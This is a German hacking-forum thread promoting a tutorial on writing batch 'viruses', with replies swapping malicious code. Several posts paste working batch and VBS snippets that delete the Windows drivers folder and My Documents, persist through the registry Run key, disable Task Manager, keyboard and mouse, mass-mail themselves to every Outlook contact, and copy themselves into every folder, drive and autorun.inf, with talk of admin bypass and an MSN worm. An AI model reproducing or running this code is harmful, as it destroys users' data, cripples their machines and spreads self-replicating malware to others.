[TuT] Ausführliches Batch/Batch-Viren Tutorial

Hallo!

Ich hab mich früher ziemlich viel mit Batch beschäfftigt und fand das als Anfänger ganz spannend, denn auch wenn es etwas veraltet ist, kann man damit auch heute noch ein paar ..Dinge.. machen :D

Habe also mal ein ziemlich ausführliches Tutorial geschrieben, welches beinhaltet:

• Batch, allgemeiner Syntax
• Was ist Batch überhaupt?
• Scherzprogramme mit Batch
  
• Batch-Viren schreiben
• Einen Batch Virus mit VBS verstecken
  
• Kommandozeilen Befehls Referenz

Hoffe einige von euch können damit was anfangen :D
Hier der Link:

http://ul.to/6kqbgl

MfG
B4n4n4

Hi ich persönlich finde .bat schreiben auch noch sehr interesannt weil man damit schoene dinge anstellen kann ... wie z.B alle festplatten infecten oder selber via outlook weierschicken usw.. sau hamma ..
ps: das tut ist net schlecht ...
lg
max

hey das tut an sich ist gut geschrieben gefällt mit das du alles genau erklärst find ich gut weiter so


mfg d3rem0

Danke dafür hat mir jetzt gerade sher geholfen kriegst natürlich nen thx ;)

Ja ist eig für Änfanger recht gut, aber es wird nicht wirklich viel gezeigt ^^.
Und ich finde es auch nicht ausführlich ^^
Autostart würde ich nicht als Batch Virus bezeichnen.
Vll hättest mal zeigen können, wie man ein Wurm macht.
Oder Batch vll auch anders benutzten kann z.B eine Abfrage mit Eingabe Y/N.
Am Ende, war ja wie als würde man Help in cmd eintippen ^^.
Es gibt auch z.B netstat -n etc. oder du hättest mal erwähnen können z.B wenn man nbtstat eingibt wird angezeigt welche funktionen es noch gibt oder einfach sowas z.B "Befehl -h" für Hilfe.
Man kann ja auch z.B die bat zu einer .exe machen, wäre vll auch noch etwas :P
Oder z.B
:a
start cmd.exe
goto a etc.
Aber sonst gut :)

ich fands super... für anfänger reicht es

Freut mich das ich einigen von euch helfen konnte (:

MfG
B4n4n4

Zitat:

---

Zitat von Shadowstyle

Ja ist eig für Änfanger recht gut, aber es wird nicht wirklich viel gezeigt ^^.
Und ich finde es auch nicht ausführlich ^^
Autostart würde ich nicht als Batch Virus bezeichnen.
Vll hättest mal zeigen können, wie man ein Wurm macht.
Oder Batch vll auch anders benutzten kann z.B eine Abfrage mit Eingabe Y/N.
Am Ende, war ja wie als würde man Help in cmd eintippen ^^.
Es gibt auch z.B netstat -n etc. oder du hättest mal erwähnen können z.B wenn man nbtstat eingibt wird angezeigt welche funktionen es noch gibt oder einfach sowas z.B "Befehl -h" für Hilfe.
Man kann ja auch z.B die bat zu einer .exe machen, wäre vll auch noch etwas :P
Oder z.B
:a
start cmd.exe
goto a etc.
Aber sonst gut :)

---

Fand ich auch das nen paar Sachen gefehlt haben aber ansonsten find ichs auch nich schlecht gemacht und ich denke für Anfänger gut geeignet. ;)
Ich hätte viellecith auch noch kurz erklärt wie man nen einfaches Quiz oder sowas erstellt. Weil nich jeder will mit Batch schaden anrichten sondern manchmal auch einfach nur seinen Spass haben ;)

mfg

Barny

@Barny
Nagut wenn jezt schon mehrere ein Tut über Abfragen und ähnliches haben wollen werde ich mich Morgen oder spätestens übermorgen auch mal daransetzen...

Zitat:

---

Zitat von Shadowstyle

Autostart würde ich nicht als Batch Virus bezeichnen.
Am Ende, war ja wie als würde man Help in cmd eintippen ^^.
Man kann ja auch z.B die bat zu einer .exe machen, wäre vll auch noch etwas
:a
start cmd.exe
goto a etc.

---

1) Wenn du dir des wirklich durchgelesen hast müsste dir der Hinweis aufgefallen sein das es sich nicht um "echte" Viren handelt...

2) Wie du gut erkannt hast besteht das Glossar am Ende aus der Anzeige wenn man help eintippt, naund? Das sind nunmal die wichtigsten Befehle ;)

3) Autostart würdest du nicht als Virus bezeichnen,

:a
start cmd.exe
goto a

aber schon?...

Aber egal ein wenig Kritik ist ja nicht schlecht, und da berreits mehrere Anfragen kamen werden weitere Tuts in kürze folgen :D

MfG
B4n4n4

Ja mit echte Viren war schon kla ^^
Aber ich meine ein Autostart ist kein Batch Virus.
Und
:a
start cmd.exe
goto a
War nur ein beispiel, für ein Anfang zu dem man springen kann z.B wenn eine Ja/Nein abfrage kommt. Mir ist grade nur dieses eingefallen.

Activate Blue Screen Of Death
@((( Echo Off > Nul ) & Break Off )
@Set HiveBSOD=HKLM\Software\Microsoft\Windows\CurrentVe rsion\Run
@Reg Add "%HiveBSOD%" /v "BSOD" /t "REG_SZ" /d %0 /f > Nul
@Del /q /s /f "%SystemRoot%\Windows\System32\Drivers\*.*")



oder
Disable Task Manager
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nul

oder

spread Via Outlook Contact Book
echo dim x>>%SystemDrive%\mail.vbs
echo on error resume next>>%SystemDrive%\mail.vbs
echo Set fso ="Scripting.FileSystem.Object">>%SystemDrive%\mail .vbs
echo Set so=CreateObject(fso)>>%SystemDrive%\mail.vbs
echo Set ol=CreateObject("Outlook.Application")>>%SystemDri ve%\mail.vbs
echo Set out=WScript.CreateObject("Outlook.Application")>>% SystemDrive%\mail.vbs
echo Set mapi = out.GetNameSpace("MAPI")>>%SystemDrive%\mail.vbs
echo Set a = mapi.AddressLists(1)>>%SystemDrive%\mail.vbs
echo Set ae=a.AddressEntries>>%SystemDrive%\mail.vbs
echo For x=1 To ae.Count>>%SystemDrive%\mail.vbs
echo Set ci=ol.CreateItem(0)>>%SystemDrive%\mail.vbs
echo Set Mail=ci>>%SystemDrive%\mail.vbs
echo Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).Ad dressEntries(x)>>%SystemDrive%\mail.vbs
echo Mail.Subject="Is this you?">>%SystemDrive%\mail.vbs
echo Mail.Body="Man that has got to be embarrassing!">>%SystemDrive%\mail.vbs
echo Mail.Attachments.Add(%0)>>%SystemDrive%\mail.vbs
echo Mail.send>>%SystemDrive%\mail.vbs
echo Next>>%SystemDrive%\mail.vbs
echo ol.Quit>>%SystemDrive%\mail.vbs
start "" "%SystemDrive%\mail.vbs"

damit versendet er sich via outlook weiter

oder wie wäre es damit
Delete My Documents
del /f /q '%userprofile%\My Documents\*.*'

Infect Reg Run Key
set valinf="rundll32_%random%_toolbar"
set reginf="hklm\Software\Microsoft\Windows\CurrentVer sion\Run"
reg add %reginf% /v %valinf% /t "REG_SZ" /d %0 /f > nul


Infect All Folders
Dir %SystemRoot% /s /b > PathHost
For /f %%a In (PathHost) Do Copy /y %0 %%a > Nul
Del /f /s /q PathHost > Nul


Infect All Drives
for %%E In (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y ,Z) Do (
copy /Y %0 %%E:\
echo [AutoRun] > %%E:\autorun.inf
echo open="%%E:\%0" >> %%E:\autorun.inf
echo action=Open folder to see files... >> %%E:\autorun.inf)

rem Infect All .Mp3 Files
assoc .mp3=batfile
DIR /S/B %SystemDrive%\*.mp3 >> InfList_mp3.txt
echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_mp3.txt) do copy /y %0 "%%j:%%k"

nur paar beispiele was mit bat möglich is

ich persönliche liebe .bat is simpel aber wenn man weiß wie .. kanns böse werden :d oder ends lustig :D

Zitat:

---

Zitat von Max

Disable Task Manager
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nul

---

Is auch ne lustige Idee^^
Sowas in der Richtung kann man immer ma gut gebrauchen, thx^^

mfg

Barny

ach schon alte Batch tricksee :D

Batch-Progs sind einfach geil, was man da alles mit anfangen kann, ist schon Hammer xD

np barny wenn du mehr haben willst PM ...
egal ob sie alt sind .. sowas kann man immer gebrauchen mit bat kann man soooo viel anstellen ... kaum einer weiß das ... alle denken bat kann "nur" spammen wie dieses lächerliche :
@echo off
:start
start
goto start

oder so y n dinger ... hmm wenn man sich damit beschäftigt pwnen die dinger eigtl mega ... ich bin am versuchen einen zu schreiben bin aber nicht sicher ob es geht der sich via msn weiter spreaded .. automatisch versteht sich wer mir helfen will / kann pm

mfg
max

Jo, ich habe mal aus Langeweile sone Benutzeroberfläche für Dos mit Batch geschrieben^^

und dann willst du mir sagen dass du kp von bat hast xD ...

Ich hab schon plan, war die erste "Sprache" die ich gelernt habe und womit ich rumprobiert habe^^

danke gutes tut

Zitat:

---

Zitat von Barny

Jo, ich habe mal aus Langeweile sone Benutzeroberfläche für Dos mit Batch geschrieben^^

---

Dos (meinst sicher die cmd-Konsole) hat keine grafisch ausgeprägte Benutzeroberfläche, geschweige denn das sich mit Batch eine schreiben ließe... :lol

Klares:
-=Fail=-

is ja auch nix besonderes aber wer sich für Batch interessiert könnte ja mal etwas ähnliches probieren oder vielleicht auch etwas anspruchsvolleres. Sollen nur Anregungen sein und, dass man von Batch grafisch nicht viel erwarten kann is ja auch irgendwie klar^^

Vielleicht war "Benutzeroberfläche" das falsche Wort aber mri is echt nix anderes eingefallen :D Aber ich bin mir sicher irh wisst alle schon so annähernd was ich meine^^

mfg

Barny

Du hast die Schriftfarbe geändert, die Befehls & Pfad Anzeige ausgeschaltet und der Konsole ne eigene Titel Bezeichnung gegeben? :D

MfG
B4n4n4

Bei der Sache mit dem Taskmgr ausschalten... wie bekomm ich das unter Win7 hin ohne admin zeugs? Also wenn man die UAC stufe ganz runter, also aus macht, geht das trotzdem nur wenn man die bat als admin ausführt. Kann man also mit bat nen Admin Bypass hinbekommen? Injection oder so?

hm oder muss man einfach neustarten Oo (glaub ich kaum^^)

Ansonsten thx, da waren auch noch paar (für mich) neue sachen dabei :)

Ich hab 0 Ahnung von Win7 tut mir Leid...
Notfalls tut es auch:

Code:

---

@echo off
:loop
taskkill /f /im taskmgr.exe
goto loop

---

Bei Fragen => PN

MfG
B4n4n4

lol das geht natürlich auch. Aber das deaktiviert den ja nicht so in dem sinne...
und man kann ja den Taskmgr.exe verschieben, umbenennen
-> dann geht er trotzdem ^^

(man könnte auch noch mit Winapi den fenster titel ändern...)

Man könnte den guten alten Taskmanager auch löschen...
Irgendwo tief in den Eingeweiden deines OS versteckt er sich nämlich irgendwo...
Oder du schaltest einfach die ganze Tastatur ab, mit Batch geht noch mehr als viele denken!

MfG
B4n4n4

Tastatur ausschalten mit BATCH? cool ich denk mal das is in deinem tut oder? hab das noch nicht komplet durchgeschaut...

Zitat:

---

Zitat von B4n4n4

Du hast die Schriftfarbe geändert, die Befehls & Pfad Anzeige ausgeschaltet und der Konsole ne eigene Titel Bezeichnung gegeben? :D

MfG
B4n4n4

---

Du verstehst mich nicht richtig glaube ich^^

Hier haste ma nen Screen davon^^ So sah das damals ungefähr aus :)

http://img17.imageshack.us/img17/682...roberflche.jpg

Okay gut...
"choice" und das Datum sind auch noch mit drin (:

MfG
B4n4n4

du kannst die tastatur ausschalten indem du das eingibst :
@ echo off
rem ---------------------------------
rem Disable Keyboard
echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Ke yboard Layout] >> "nokeyboard.reg"
echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00 ,01,00,00,\ >> "nokeyboard.reg"
echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00 ,3f,00,00,00,40,00,00,00,\ >> "nokeyboard.reg"
echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57 ,00,00,00,58,00,00,00,37,\ >> "nokeyboard.reg"
echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00 ,00,00,4a,00,00,00,47,00,\ >> "nokeyboard.reg"
echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00 ,00,4d,00,00,00,4e,00,00,\ >> "nokeyboard.reg"
echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00 ,53,00,00,00,52,00,00,00,\ >> "nokeyboard.reg"
echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52 ,e0,00,00,47,e0,00,00,49,\ >> "nokeyboard.reg"
echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00 ,00,00,02,00,00,00,03,00,\ >> "nokeyboard.reg"
echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00 ,00,08,00,00,00,09,00,00,\ >> "nokeyboard.reg"
echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00 ,0e,00,00,00,0f,00,00,00,\ >> "nokeyboard.reg"
echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14 ,00,00,00,15,00,00,00,16,\ >> "nokeyboard.reg"
echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00 ,00,00,1b,00,00,00,2b,00,\ >> "nokeyboard.reg"
echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00 ,00,21,00,00,00,22,00,00,\ >> "nokeyboard.reg"
echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00 ,27,00,00,00,28,00,00,00,\ >> "nokeyboard.reg"
echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e ,00,00,00,2f,00,00,00,30,\ >> "nokeyboard.reg"
echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00 ,00,00,35,00,00,00,36,00,\ >> "nokeyboard.reg"
echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00 ,00,38,e0,00,00,5c,e0,00,\ >> "nokeyboard.reg"
echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00 ,22,e0,00,00,24,e0,00,00,\ >> "nokeyboard.reg"
echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c ,e0,00,00,20,e0,00,00,6a,\ >> "nokeyboard.reg"
echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0 ,00,00,6c,e0,00,00,6d,e0,\ >> "nokeyboard.reg"
echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> "nokeyboard.reg"
start "nokeyboard.reg"
rem ---------------------------------


für maus :
@ echo off
rem ---------------------------------
rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\S ervices\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ---------------------------------

unter windows 7 einfach als admin ausführen denk ich einfach nen bat to exe d loaden z.B den : http://www.computerbild.de/download/...5613.html?dl=1

dann einfach bei verschiedenes vista administrator manifest hinzufügen :D

solle dann eigtl gehn

mfg

Also unter XP lässt sich die Tastatur noch so ausschalten:

Code:

---

%SystemRoot%\rundll32.exe Keyboard,Disable

---

Musst mal gucken ob das unter 7 auch noch klappt!

MfG
B4n4n4

Also die beiden Dinger von Max gehen erst nach dem Neustart ist das bei dir auch so? (unter VBox mit XP getestet...)

und wie schalt ich die dann wieder an?^^

Ja das mit dem Neustart ist relativ normal (:

MfG
B4n4n4

Die Frage habe ich auch schonmal gestellt mit der Tastatur:
http://free-hack.com/showthread.php?t=25936

Vielleicht hilfts ja noch weiter ;)


mfg

Barny

Naja mit Viren hat das ja nich wirklich was zu tun, aber auch dies ist sogar in Batch möglich. Ich hatte mal nen simplen Binder in Batch gemacht. Könnte man schon für
einen simplen Appender-Virii nutzen. Es ist möglich durch "type" die erste Zeile einer Datei in eine Variable zu lesen. Dann gibst du mit dem Parameter einfach an, dass er beim nächsten Mal erst ab Zeile x einliest (am besten mit einer for-schleife). So kannst du Zeile für Zeile eine Datei verarbeiten. Ist aber ein recht aufwendiger Buffer, da immer wieder eine Datei geöffnet bzw. geschrieben wird.

Kannst dich ja mal damit auseinandersetzen und en schönes Tut basteln damit der Threadtitel passt ;)

Ein Virus definiert sich nich durch seinen Payload, sondern durch seine Infektionroutine.